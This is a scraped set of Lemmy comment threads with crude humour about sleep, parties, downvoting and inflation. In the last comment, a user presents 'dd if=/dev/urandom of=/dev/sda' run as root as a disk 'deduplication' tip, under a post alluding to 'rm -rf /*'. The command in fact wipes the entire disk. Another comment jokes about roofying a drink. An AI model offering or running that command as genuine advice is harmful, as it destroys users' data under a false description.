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Chickenstalker , in There's Jews for Jesus, are there Christians against Christ?

Yes. All of them.

Selmafudd , in mmmmfffgh

Brah, how the fuck people be sleeping in clothes? I legit can’t even do just underwear, I turn so often that even they get twisted up

Neon ,

you sleep without underwear just in your pyjama

notenoughbutter ,

still kinda uncomfortable

MiddleWeigh ,
@MiddleWeigh@lemmy.world avatar

My partner got a duvet for us…I fuck that shit all up. Wild sleepers!

T4V0 ,
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Yeah, but in the case of a emergency that requires me to be outside quickly, I won’t be the naked weirdo of the neighborhood.

Baphomet_The_Blasphemer ,

That’s why I keep a robe and slippers right next to the bed.

Lemmy_at_it ,

Everyone in the neighborhood already knows me as the naked weirdo, so that would just be par for the course

Selmafudd ,

I can honestly say I’ve had one of these emergencies once while naked, sister in law was being followed at like 1 or 2am and headed to our place as it was closer than hers, she called my wife when she was close to let her in. The way my wife woke me I knew something was happening and I fucking pulled clothes outa thin air and was dressed before she even finished telling me

tfw_no_toiletpaper ,

I hate the skin on skin contact, it gets sticky and I sweat a lot more when sleeping naked than in a pyjama

Schmoo ,

Better that my underwear gets twisted up than my ballsack.

FlyingSquid , in Surprise me
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Is there ever a bad time to be set on fire?

dream_weasel ,

While free diving?

FlyingSquid ,
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Not with that attitude.

somePotato ,

In a few billion years when the sun swallows the earth. Getting surprise cremated at that moment would be anticlimactic. And kinda redundant

Evil_Shrubbery , in Surprise me

It’s all fun and games until your wish comes true though sheer regional air temperature … that’s not something I wanted to witness before my surprise cremation

Moc , in It's called shitposting because it's done on the terlet

I switch between both states depending on mood

LuckyCharmsNSoyMilk , in It's called shitposting because it's done on the terlet

Sometimes there’s shit on the outside of the torlet.

hemmes ,

How do it get there?

whataboutshutup , in Have you? (I haven't)

Grass? What grass? I live in industrial city.

lordxakio , in cucumbers and watches

The devil Comes loss

Ryan213 , in Surprise me
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Did anyone surprise him??

Adeptfuckup , in Always

Roofy Ted’s drink then gently place that stupid potato he’s been carrying underneath his scrotum.

Edit: You know you want to touch Ted’s scrotum. Don’t lie

HeyThisIsntTheYMCA ,
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This has everything to do with misspellyng roofie and nothing to do with our lust for Ted’s enormous scrote.

luthis , in It's called shitposting because it's done on the terlet

Every one of those genres is so different, it’s kind of wierd most of them fall under ‘metal.’

Zacryon , in Always

I’m notoriously good at avoiding parties. But if I were at one, I would be the kind of person who would ask to unwrap the foil if I’m told there was a cyst in it.

FlyingSquid ,
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“Can’t. It’s radioactive.”

HeyThisIsntTheYMCA ,
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You’re just making me hungrier dude

itsgroundhogdayagain , in Don't Make Me Tap The Sign

Redditors want to make rules now, huh?

sabreW4K3 OP ,
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Put it like this, there’s a reason YouTube removed dislikes, because they need to keep seeing new channels. So even if the old popular channels die, they’ll have newer channels to replace them. That starts with making toxic disliking redundant. Don’t for a second think there’s no place for dislikes, but as a “I don’t like you” or “I disagree”, it’s counter productive.

CoderKat ,

Yes, some people do misuse down voting, but it’s absolutely worth it in my mind. It prevents bigotry from both being shown highly and also makes it clear that bigotry isn’t acceptable. How do you think someone feels when they see a bigoted comment and it’s in the positives. I’ll answer that question cause I’ve seen it all the time: it’s depressing as fuck. It still sucks to see bigoted comments at all, but at least when they’re downvoted to hell, it feels better. It feels nice to know that the bigotry isn’t accepted by others and that the bigot is in the minority.

Similar for general misinformation, scams, etc. It’d be nice if bad comments could just get removed before you see them, but that will never be perfect. Even well moderated communities still have delays before moderators see reports and most people won’t take the time to report either.

MystikIncarnate , in I feel the actual inflation

In some ways, the reported inflation is real. The main increase in cost is not actually real, or caused by anything except greed.

There’s also a lot of hidden costs that aren’t factored into inflation as strongly as they should be, or at all. Those hidden fees have also gone up.

So the entire business segment is just hand waving the whole issue because they know it will be reported wrong; they’re going to keep raising prices and point to the “official” inflation numbers and continue to feed us the bullshit that inflation isn’t a problem to justify never giving their employees a raise.

IDK how stupid they think we are, but I’m sure they think we’re little more than retarded (I mean that in the clinical sense). They’re (very publically) showing massive profit numbers, using inflation, or the lack thereof, to justify slave wages, while ripping off their users as much as they think that they can without creating riots.

More for them, less for us. As it’s always been.

mvirts , in sudo rm -🇫🇷 /*

Don’t do that until you unrandomize and deduplicate your disk

dd if=/dev/urandom of=/dev/sda

Don’t forget you need to run it as root to deduplicate all files.

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